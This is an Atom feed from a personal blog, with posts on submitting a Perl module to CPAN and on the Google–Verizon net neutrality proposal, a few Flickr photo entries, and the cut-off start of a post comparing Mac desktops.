<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">
    <title>Paul Weinstein</title>
    <link rel="alternate" type="text/html" href="http://pdw.weinstein.org/" />
    
    <id>tag:pdw.weinstein.org,2009-03-05:/2</id>
    <updated>2010-09-07T13:45:55Z</updated>
    <subtitle>Pontifications on the Life Universe and Everything; News and commentary about the web, computers, politics, programming, webzines, travel, reading et. al. by Paul Weinstein</subtitle>
    <generator uri="http://www.sixapart.com/movabletype/">Movable Type Pro 4.25</generator>

<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/pdweinstein" /><feedburner:info uri="pdweinstein" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><geo:lat>41.971614</geo:lat><geo:long>-87.702561</geo:long><entry>
    <title>Submitting a Perl module to CPAN</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/pdweinstein/~3/QYPL0ec7FzI/submitting-a-perl-module-to-cpan.html" />
    <id>tag:pdw.weinstein.org,2010://2.231</id>

    <published>2010-09-07T13:12:06Z</published>
    <updated>2010-09-07T13:45:55Z</updated>

    <summary>There doesn't seem to be any "must have" rules, but as anyone who has worked with Perl modules knows, there is an accepted organization that most tend to adhere to.</summary>
    <author>
        <name>Paul Weinstein</name>
        <uri>http://pdw.weinstein.org</uri>
    </author>
    
        <category term="Development" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="opensource" label="Open Source" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="perl" label="Perl" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="programming" label="Programming" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="viddler" label="Viddler" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://pdw.weinstein.org/">
        &lt;div class="zemanta-img mt-image-right" style="margin: 1em; display: block; float: right; width: 289px;"&gt;&lt;a href="http://commons.wikipedia.org/wiki/File:Perl.jpg"&gt;&lt;img src="http://upload.wikimedia.org/wikipedia/commons/8/84/Perl.jpg" alt="O'Reilly created Programming Republic of Perl ..." height="303" width="279" /&gt;&lt;/a&gt;&lt;p class="zemanta-img-attribution" style="font-size: 0.8em;"&gt;Image via &lt;a href="http://commons.wikipedia.org/wiki/File:Perl.jpg"&gt;Wikipedia&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;p style="margin-bottom: 0in;"&gt;Last May, I finally made available for
download the first version of &lt;a href="http://pdw.weinstein.org/2010/05/perl-module-webserviceviddler-on-cpan.html"&gt;Webservice::Viddler on CPAN&lt;/a&gt;
(&lt;a property="ctag:label" resource="http://rdf.freebase.com/ns/en/cpan" typeof="ctag:Tag" xmlns:ctag="http://commontag.org/ns#" class="zem_slink rdfa" href="http://en.wikipedia.org/wiki/CPAN" title="CPAN" rel="ctag:means wikipedia"&gt;Comprehensive Perl Archive Network&lt;/a&gt;) after having &lt;a href="http://pdw.weinstein.org/2010/03/viddler-api-via-perl.html"&gt;written about it in
March&lt;/a&gt;. One of the reasons for the delay in making the packaged source
code available for download had to do with one simple fact, the
Viddler module was my first ever submitted for public consumption.&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;Now, don't misunderstand me,
Webservice::Viddler is not the first &lt;a property="ctag:label" resource="http://rdf.freebase.com/ns/en/perl" typeof="ctag:Tag" xmlns:ctag="http://commontag.org/ns#" class="zem_slink rdfa" href="http://www.perl.org/" title="Perl" rel="ctag:means homepage"&gt;Perl&lt;/a&gt; module I have ever written.
I've been writing code in Perl for about as long as CPAN has existed.
However, as is the case with my current work in &lt;a property="ctag:label" resource="http://rdf.freebase.com/ns/en/php" typeof="ctag:Tag" xmlns:ctag="http://commontag.org/ns#" class="zem_slink rdfa" href="http://www.php.net/" title="PHP" rel="ctag:means homepage"&gt;PHP&lt;/a&gt; for &lt;a href="http://www.orbitmedia.com/"&gt;Orbit Media
Studios&lt;/a&gt;, most of the Perl code I wrote over the years was on behalf
of a employer of some sort. As such the ownership of the code, and
the right to distribute, rested with them, not me. 
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;So then, why the delay? Well there are
a couple of reasons. First of all, the code I posted in March was a
proof of concept based on some work I did for Orbit at the time.
While the basic framework of the module worked the "proto-module"
didn't implement all of the functionally provided by the &lt;a href="http://developers.viddler.com/documentation/api/"&gt;Viddler Web
API&lt;/a&gt;.&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;Secondly, I needed to organize the
source code for proper distribution on &lt;a href="http://www.cpan.org"&gt;CPAN&lt;/a&gt; as well as get the
packaged distribution uploaded and made available.&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;b&gt;The Packaging&lt;/b&gt;&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;Before I did anything, I wanted to make
sure that my module had all of the necessary files. In doing a little
googling, I came across a blog post entitled &lt;a href="http://blogs.encodo.ch/news/view_article.php?id=63&amp;amp;panel=article"&gt;Submitting a CPAN module&lt;/a&gt;
which outlines the basic steps:&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;ol&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;"&gt;Apply for an account on PAUSE
	(Perl Authors Upload Server)&lt;/p&gt;
	&lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;"&gt;Organize your code&lt;/p&gt;
	&lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;"&gt;Profit&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;
&lt;p style="margin-bottom: 0in;"&gt;Not too complex, granted, but organized
how?&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;As the author notes there doesn't seem
to be any "what the package must have" rules. However, as anyone
who has worked with third-party Perl modules knows, there is an
accepted process and organization of code that all modules tend to
adhere to. 
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;After a little more googling I came
across &lt;i&gt;module-starter, &lt;/i&gt;&lt;span style="font-style: normal;"&gt;&lt;span style="font-weight: normal;"&gt;a
handy command-line interface to a Perl module, &lt;a href="http://search.cpan.org/%7Epetdance/Module-Starter-1.54/bin/module-starter"&gt;Module::Starter&lt;/a&gt;, which
does all the work of creating a base module for distribution. After
adding in my code and documentation I quickly had something close to
ready.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-style: normal;"&gt;&lt;span style="font-weight: normal;"&gt;Close,
but not complete. Besides making the package useful to install, I
wanted to make the code useful to modify. For that I turned to
&lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span style="font-weight: normal;"&gt;perltidy &lt;/span&gt;&lt;/i&gt;&lt;span style="font-style: normal;"&gt;&lt;span style="font-weight: normal;"&gt;&lt;a href="http://perltidy.sourceforge.net/"&gt;a
Perl script&lt;/a&gt; which indents and reformats Perl code to makes it easier
to read and follow.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-style: normal;"&gt;&lt;span style="font-weight: normal;"&gt;Great!
Now here is where this can get interesting (and where a lot of 
suggestions, if not outright rules, do exist). If you follow the
steps in the order above, good, because that means while waiting for a PAUSE account to come online&lt;a class="sdfootnoteanc" name="sdfootnote1anc" href="#sdfootnote1sym"&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/a&gt;,
proper considerations can be made for the naming of the module. &lt;/span&gt;&lt;/span&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;b&gt;&lt;span style="font-style: normal;"&gt;The
Namespace&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-style: normal;"&gt;&lt;span style="font-weight: normal;"&gt;The
PAUSE documentation &lt;a href="http://pause.perl.org/pause/query?ACTION=pause_namingmodules"&gt;On The Naming of Modules&lt;/a&gt; notes that "a module
name must accomplish quite a bit in a few characters", such as
provide context as to what the module does or problem it addresses.
Also of importance is the fact that "once chosen, you rarely have
the opportunity to change it after people start using it."&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-style: normal;"&gt;&lt;span style="font-weight: normal;"&gt;So
a little careful consideration is in order.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-style: normal;"&gt;&lt;span style="font-weight: normal;"&gt;Also,
it is important to note that namespaces, &lt;a href="http://en.wikipedia.org/wiki/Namespace"&gt;by definition&lt;/a&gt;, are unique.
Besides providing a singular meaning, the name cannot be shared with
some other module, public or otherwise. As such it is recommend that
PAUSE developers register the namespace of the module written. Again,
this isn't a hard and fast rule per se, but a recommendation to avoid
duplication and improve searchability. &lt;/span&gt;&lt;/span&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-style: normal;"&gt;&lt;span style="font-weight: normal;"&gt;That about covers the basics. Now, if you will excuse me, I
need to take some time to &lt;a href="http://www.cpantesters.org/distro/W/WebService-Viddler.html"&gt;address these test results&lt;/a&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;
&lt;div id="sdfootnote1"&gt;
	&lt;p class="sdfootnote"&gt;&lt;a class="sdfootnotesym" name="sdfootnote1sym" href="#sdfootnote1anc"&gt;1&lt;/a&gt; The
	PAUSE documentation suggests allowing up to "three weeks for
	proceeding" but that requests a usually completed "within a
	week."  
	&lt;/p&gt;
&lt;/div&gt;


&lt;div style="margin-top: 10px; height: 15px;" class="zemanta-pixie"&gt;&lt;img style="border: medium none ; float: right;" class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=ab1a47eb-6f5c-434f-b457-6871655cb8f6" /&gt;&lt;span class="zem-script more-related pretty-attribution"&gt;&lt;script type="text/javascript" src="http://static.zemanta.com/readside/loader.js" defer="defer"&gt;&lt;/script&gt;&lt;/span&gt;&lt;/div&gt;
        
    
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/qGF6RscXT0H7ebc5B3yAH2GVcv4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/qGF6RscXT0H7ebc5B3yAH2GVcv4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/qGF6RscXT0H7ebc5B3yAH2GVcv4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/qGF6RscXT0H7ebc5B3yAH2GVcv4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/pdweinstein/~4/QYPL0ec7FzI" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://pdw.weinstein.org/2010/09/submitting-a-perl-module-to-cpan.html</feedburner:origLink></entry>

<entry><title type="text">IMG_0488 [Flickr]</title><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/pdweinstein/~3/1jn89Oci0-s/" /><author><name>pdweinstein</name><uri>http://www.flickr.com/people/pdweinstein/</uri></author><updated>2010-09-05T16:09:54-07:00</updated><id>tag:flickr.com,2005:/photo/4962023738</id><content type="html">			&lt;p&gt;&lt;a href="http://www.flickr.com/people/pdweinstein/"&gt;pdweinstein&lt;/a&gt; posted a photo:&lt;/p&gt;
	
&lt;p&gt;&lt;a href="http://www.flickr.com/photos/pdweinstein/4962023738/" title="IMG_0488"&gt;&lt;img src="http://farm5.static.flickr.com/4153/4962023738_a7c6b69bf7_m.jpg" width="179" height="240" alt="IMG_0488" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;img src="http://feeds.feedburner.com/~r/pdweinstein/~4/1jn89Oci0-s" height="1" width="1"/&gt;</content><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="enclosure" href="http://farm5.static.flickr.com/4153/4962023738_a7c6b69bf7_m.jpg" length="0" type="image/jpeg" /><dc:date.Taken xmlns:dc="http://purl.org/dc/elements/1.1/">2010-09-04T19:43:05-08:00</dc:date.Taken><feedburner:origLink>http://www.flickr.com/photos/pdweinstein/4962023738/</feedburner:origLink></entry><entry><title type="text">IMG_0484 [Flickr]</title><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/pdweinstein/~3/nOz_n8o3nHo/" /><author><name>pdweinstein</name><uri>http://www.flickr.com/people/pdweinstein/</uri></author><updated>2010-09-05T16:09:32-07:00</updated><id>tag:flickr.com,2005:/photo/4961427207</id><content type="html">			&lt;p&gt;&lt;a href="http://www.flickr.com/people/pdweinstein/"&gt;pdweinstein&lt;/a&gt; posted a photo:&lt;/p&gt;
	
&lt;p&gt;&lt;a href="http://www.flickr.com/photos/pdweinstein/4961427207/" title="IMG_0484"&gt;&lt;img src="http://farm5.static.flickr.com/4103/4961427207_803b70374d_m.jpg" width="179" height="240" alt="IMG_0484" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;img src="http://feeds.feedburner.com/~r/pdweinstein/~4/nOz_n8o3nHo" height="1" width="1"/&gt;</content><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="enclosure" href="http://farm5.static.flickr.com/4103/4961427207_803b70374d_m.jpg" length="0" type="image/jpeg" /><dc:date.Taken xmlns:dc="http://purl.org/dc/elements/1.1/">2010-09-04T17:12:13-08:00</dc:date.Taken><feedburner:origLink>http://www.flickr.com/photos/pdweinstein/4961427207/</feedburner:origLink></entry><entry><title type="text">IMG_0482 [Flickr]</title><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/pdweinstein/~3/JUTqpdZG2Mc/" /><author><name>pdweinstein</name><uri>http://www.flickr.com/people/pdweinstein/</uri></author><updated>2010-09-05T16:09:01-07:00</updated><id>tag:flickr.com,2005:/photo/4962021334</id><content type="html">			&lt;p&gt;&lt;a href="http://www.flickr.com/people/pdweinstein/"&gt;pdweinstein&lt;/a&gt; posted a photo:&lt;/p&gt;
	
&lt;p&gt;&lt;a href="http://www.flickr.com/photos/pdweinstein/4962021334/" title="IMG_0482"&gt;&lt;img src="http://farm5.static.flickr.com/4105/4962021334_d06705f7c1_m.jpg" width="240" height="179" alt="IMG_0482" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;img src="http://feeds.feedburner.com/~r/pdweinstein/~4/JUTqpdZG2Mc" height="1" width="1"/&gt;</content><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="enclosure" href="http://farm5.static.flickr.com/4105/4962021334_d06705f7c1_m.jpg" length="0" type="image/jpeg" /><dc:date.Taken xmlns:dc="http://purl.org/dc/elements/1.1/">2010-09-04T16:12:16-08:00</dc:date.Taken><feedburner:origLink>http://www.flickr.com/photos/pdweinstein/4962021334/</feedburner:origLink></entry><entry><title type="text">IMG_0471 [Flickr]</title><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/pdweinstein/~3/IxNfyyMWiqY/" /><author><name>pdweinstein</name><uri>http://www.flickr.com/people/pdweinstein/</uri></author><updated>2010-09-05T16:08:25-07:00</updated><id>tag:flickr.com,2005:/photo/4961424259</id><content type="html">			&lt;p&gt;&lt;a href="http://www.flickr.com/people/pdweinstein/"&gt;pdweinstein&lt;/a&gt; posted a photo:&lt;/p&gt;
	
&lt;p&gt;&lt;a href="http://www.flickr.com/photos/pdweinstein/4961424259/" title="IMG_0471"&gt;&lt;img src="http://farm5.static.flickr.com/4111/4961424259_d3467e2541_m.jpg" width="240" height="179" alt="IMG_0471" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;img src="http://feeds.feedburner.com/~r/pdweinstein/~4/IxNfyyMWiqY" height="1" width="1"/&gt;</content><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="enclosure" href="http://farm5.static.flickr.com/4111/4961424259_d3467e2541_m.jpg" length="0" type="image/jpeg" /><dc:date.Taken xmlns:dc="http://purl.org/dc/elements/1.1/">2010-08-21T20:19:53-08:00</dc:date.Taken><feedburner:origLink>http://www.flickr.com/photos/pdweinstein/4961424259/</feedburner:origLink></entry><entry><title type="text">IMG_0463 [Flickr]</title><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/pdweinstein/~3/TrrOK8XlKfo/" /><author><name>pdweinstein</name><uri>http://www.flickr.com/people/pdweinstein/</uri></author><updated>2010-09-05T16:08:06-07:00</updated><id>tag:flickr.com,2005:/photo/4961423333</id><content type="html">			&lt;p&gt;&lt;a href="http://www.flickr.com/people/pdweinstein/"&gt;pdweinstein&lt;/a&gt; posted a photo:&lt;/p&gt;
	
&lt;p&gt;&lt;a href="http://www.flickr.com/photos/pdweinstein/4961423333/" title="IMG_0463"&gt;&lt;img src="http://farm5.static.flickr.com/4133/4961423333_6131d78e00_m.jpg" width="179" height="240" alt="IMG_0463" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;img src="http://feeds.feedburner.com/~r/pdweinstein/~4/TrrOK8XlKfo" height="1" width="1"/&gt;</content><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="enclosure" href="http://farm5.static.flickr.com/4133/4961423333_6131d78e00_m.jpg" length="0" type="image/jpeg" /><dc:date.Taken xmlns:dc="http://purl.org/dc/elements/1.1/">2010-08-21T18:17:15-08:00</dc:date.Taken><feedburner:origLink>http://www.flickr.com/photos/pdweinstein/4961423333/</feedburner:origLink></entry><entry>
    <title>Google and Net Neutrality: Business First</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/pdweinstein/~3/xg6keKHszx8/google-and-net-neutrality-its-business-first.html" />
    <id>tag:pdw.weinstein.org,2010://2.230</id>

    <published>2010-08-16T13:39:02Z</published>
    <updated>2010-08-16T13:50:01Z</updated>

    <summary>It seems unsurprising that Google is willing to build a policy around a fundamental division between wired and wireless networks. Unfortunately for Google, its internal division of business between "wireline" and "wireless" is hardly an ideal division for the rest of us.</summary>
    <author>
        <name>Paul Weinstein</name>
        <uri>http://pdw.weinstein.org</uri>
    </author>
    
        <category term="Politics" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Web" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="business" label="Business" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="google" label="Google" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="politics" label="Politics" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="reaction" label="Reaction" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="technology" label="Technology" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://pdw.weinstein.org/">
        &lt;p&gt;&lt;b&gt;The Story Thus Far&lt;/b&gt;
&lt;br /&gt;Earlier this month the &lt;a class="zem_slink rdfa" href="http://www.newyorktimes.com" title="New York Times" rel="ctag:means homepage" xmlns:ctag="http://commontag.org/ns#" typeof="ctag:Tag" resource="http://rdf.freebase.com/ns/en/the_new_york_times" property="ctag:label"&gt;New York Times&lt;/a&gt; published an article entitled "&lt;a class="zem_slink rdfa" href="http://www.nytimes.com/2010/08/05/technology/05secret.html?_r=4&amp;amp;pagewanted=1&amp;amp;hp" title="Google" rel="ctag:means homepage" xmlns:ctag="http://commontag.org/ns#" typeof="ctag:Tag" resource="http://rdf.freebase.com/ns/en/google" property="ctag:label"&gt;Google and Verizon Near Deal on Web Pay Tiers&lt;/a&gt;" in which the paper outlined a pending agreement between Google and Verizon that would allow for prioritizing certain traffic across the Internet. Google's initial public reaction to the story was to say that the Times didn't have its facts straight and that if they had just called, Google would have been happy to have answered any questions the paper had.
&lt;br /&gt;&lt;br /&gt;Many, I think, saw Google's initial reaction to the article as an outright rejection that any sort of "deal" was in the works. However, just a few days later Google announced "&lt;a href="http://googlepublicpolicy.blogspot.com/2010/08/joint-policy-proposal-for-open-internet.html"&gt;A Joint Policy Proposal for an Open Internet&lt;/a&gt;" in which they outlined a "principled compromise our companies have developed over the last year concerning the thorny issue of 'network neutrality."
&lt;br /&gt;&lt;br /&gt;Wait, what? Web Pay Tiers? &lt;a class="zem_slink rdfa" href="http://en.wikipedia.org/wiki/Network_neutrality" title="Network neutrality" rel="ctag:means wikipedia" xmlns:ctag="http://commontag.org/ns#" typeof="ctag:Tag" resource="http://rdf.freebase.com/ns/en/network_neutrality" property="ctag:label"&gt;Network Neutrality&lt;/a&gt;?&lt;br /&gt;&lt;br /&gt;Ok, for the uninitiated the term network neutrality (net neutrality), refers to the formalization of what has been, more or less, standard practice; that very limited, if any, restrictions should be allowed to be put in place by any service providers or government on the content or equipment that can connect to the Internet as a whole.
&lt;br /&gt;&lt;br /&gt;Conversely, many service providers argue that bandwidth is limited in scope and that without the ability to prioritize traffic and access they will ultimately fail in providing what has become a necessary service to many individuals and businesses.
&lt;br /&gt;&lt;br /&gt;In short order, Google in the past has advocated open, unrestricted access and even encapsulated the phrase "&lt;a href="http://en.wikipedia.org/wiki/Don't_be_evil"&gt;Don't be evil&lt;/a&gt;" as a corporate motto of sorts while companies such as Version have argued that the health and livelihood of their business models depend on tiered data networks, regardless of the level of service offered.
&lt;br /&gt;&lt;br /&gt;
The proposed agreement between Google and Verizon has been analyzed by a number of groups and individuals since its publication. The basic outline of which reads: Google and Verizon agree that all "wirelines" shall be open and unencumbered. However unlike a "wireline", "wireless" (cellular) broadband is still an emerging marketplace and, as such, requires a different set of governing principles (or at least should not be handicapped by United States regulation (via the FCC) requiring the same open and unencumbered requirement as a "wireline").
&lt;br /&gt;&lt;br /&gt;&lt;a href="http://googlepublicpolicy.blogspot.com/2010/08/facts-about-our-network-neutrality.html"&gt;Google argues&lt;/a&gt; that in order to reach an agreement with Verizon, like any workable agreement, they needed to make compromises in order to move forward. Critics of the agreement argue that Google has "sold out" on the idea of net neutrality, noting that the "wireless" compromise between the two companies just so happens to cover the same business segment where Google and Verizon are business partners via Google's Android platform for smartphones.
&lt;br /&gt;&lt;br /&gt;
&lt;b&gt;Personal Take: Business First&lt;/b&gt;
&lt;br /&gt;While I personally believe that businesses should be held to higher standard than simply generating profit, I realize that, no mater what I feel, a business must make sound business decisions, else that business will cease to be in business.
&lt;br /&gt;&lt;br /&gt;Google's mature, core business, search, requires open access for users to use and open standards for access to third-party data that it then aggregates, warehouses and mines. However, Google's potential growth business, wireless, is in competition between a number of other closed or semi-closed computing platforms (iPhone, Blackberry, RIM, et al).
&lt;br /&gt;&lt;br /&gt;Consider the following philosophy a variation of &lt;a class="zem_slink rdfa" href="http://en.wikipedia.org/wiki/Maslow%27s_hierarchy_of_needs" title="Maslow's hierarchy of needs" rel="ctag:means wikipedia" xmlns:ctag="http://commontag.org/ns#" typeof="ctag:Tag" resource="http://rdf.freebase.com/ns/en/maslows_hierarchy_of_needs" property="ctag:label"&gt;Maslow's Hierarchy of Needs&lt;/a&gt;, which I consider in high regard as outlined for individuals: Before a business can operate in a socially conscious way, the business must first be profitable. If a business, or business unit of a larger corporation, can align its strategy with a greater social cause, that is be profitable while being highly attuned to and influential in a current social concern, then the business can reached a higher level of "growth"
&lt;br /&gt;&lt;br /&gt;Thus, to me, it seems unsurprising that Google is willing to build a policy around a fundamental division between wired and wireless networks. Nor do I feel there has been any "betrayal" of whatever higher "&lt;a href="http://en.wikipedia.org/wiki/Don't_be_evil"&gt;don't be evil&lt;/a&gt;" value Google wishes to place on its businesses as a whole.
&lt;br /&gt;&lt;br /&gt;But that doesn't mean I like the agreement anymore than others. In fact, for the most part, I feel the &lt;a href="http://www.eff.org/deeplinks/2010/08/google-verizon-netneutrality"&gt;EFF's review of the proposed agreement&lt;/a&gt;&amp;nbsp;between Google and Verizon, is inline with my own initial read of the policy and viewpoint with regard to net neutrality.
&lt;br /&gt;&lt;br /&gt;Unfortunately for Google, its internal division of business between "wireline" and "wireless" is hardly an ideal division for the rest of us. This means while there are potentially good suggestions with the agreement, there are also some potential bad and ugly ramifications for a division between "wireline" and "wireless".
&lt;br /&gt;&lt;br /&gt;
&lt;b&gt;The Take Away: Hardly the End of the Internet&lt;/b&gt;&amp;nbsp;&lt;br /&gt;Obviously, this whole post is a quick summary of a very complex and evolving issue.
&lt;br /&gt;&lt;br /&gt;But that's the final point to make here. &lt;a href="http://www.newsweek.com/2010/08/15/why-the-google-verizon-deal-won-t-kill-you.html"&gt;This is not the end of the Internet&lt;/a&gt; as we know it in which Google, Verizon and a handful of others carve it up between themselves.&amp;nbsp;Instead this is an interesting proposal,&amp;nbsp;&lt;a href="http://www.cbc.ca/technology/story/20å10/08/13/net-neutrality-google-vint-cerf.html"&gt;an experiment in suggested policy&lt;/a&gt;, that may or may not point to a balancing point between different social, business and individual interests.&amp;nbsp;&lt;/p&gt;&lt;p&gt;As Carl Sagon once wrote about the American form of democracy, "In almost all of these cases, adequate control experiments are not performed, or variables are insufficiently separated. Nevertheless, to a certain and often useful degree, policy ideas can be tested. The great waste would be to ignore the results of social experiments because they seem to be ideologically unpalatable."&amp;nbsp;&lt;/p&gt;
&lt;div class="zemanta-pixie" style="margin-top:10px;height:15px"&gt;&lt;img class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=196186b6-55bd-4e5e-82ec-2e6e7f8133cf" style="border:none;float:right" /&gt;&lt;span class="zem-script more-related pretty-attribution"&gt;&lt;script type="text/javascript" src="http://static.zemanta.com/readside/loader.js" defer="defer"&gt;&lt;/script&gt;&lt;/span&gt;&lt;/div&gt;
        
    
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Z6O9FtCOFy-fW52y8ydt5inv610/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Z6O9FtCOFy-fW52y8ydt5inv610/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Z6O9FtCOFy-fW52y8ydt5inv610/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Z6O9FtCOFy-fW52y8ydt5inv610/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/pdweinstein/~4/xg6keKHszx8" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://pdw.weinstein.org/2010/08/google-and-net-neutrality-its-business-first.html</feedburner:origLink></entry>

<entry>
    <title>Which Mac Desktop; Mini, iMac or Pro?</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/pdweinstein/~3/_znI_fcc_Ag/which-mac-desktop-mini-imac-or-pro.html" />
    <id>tag:pdw.weinstein.org,2010://2.229</id>

    <published>2010-07-29T17:49:47Z</published>
    <updated>2010-07-29T21:03:31Z</updated>

    <summary>"Today's overdue Mac Pro update is a welcome change, but for a computer that's so expensive, why not just get an iMac?"</summary>
    <author>
        <name>Paul Weinstein</name>
        <uri>http://pdw.weinstein.org</uri>
    </author>
    
        <category term="Apple" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Mac" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="apple" label="Apple" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="ebay" label="eBay" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="iphone" label="iPhone" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="linux" label="Linux" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="server" label="Server" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="technology" label="Technology" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://pdw.weinstein.org/">
        &lt;p style="margin-bottom: 0in;"&gt;This week, while trying to edit some
video I took with my iPhone 4, I was reminded of how out of date my
Mac Mini G4 is. To be fair, my Mini hasn't been my main computing
device for a few years now, for that I've been using a Lenovo
ThinkPad R61i running Fedora. I have a few nitpicky issues with
Fedora and traditionally &lt;a property="ctag:label" resource="http://rdf.freebase.com/ns/en/linux_distribution" typeof="ctag:Tag" xmlns:ctag="http://commontag.org/ns#" class="zem_slink rdfa" href="http://en.wikipedia.org/wiki/Linux_distribution" title="Linux distribution" rel="ctag:means wikipedia"&gt;Linux distributions&lt;/a&gt; are not super laptop
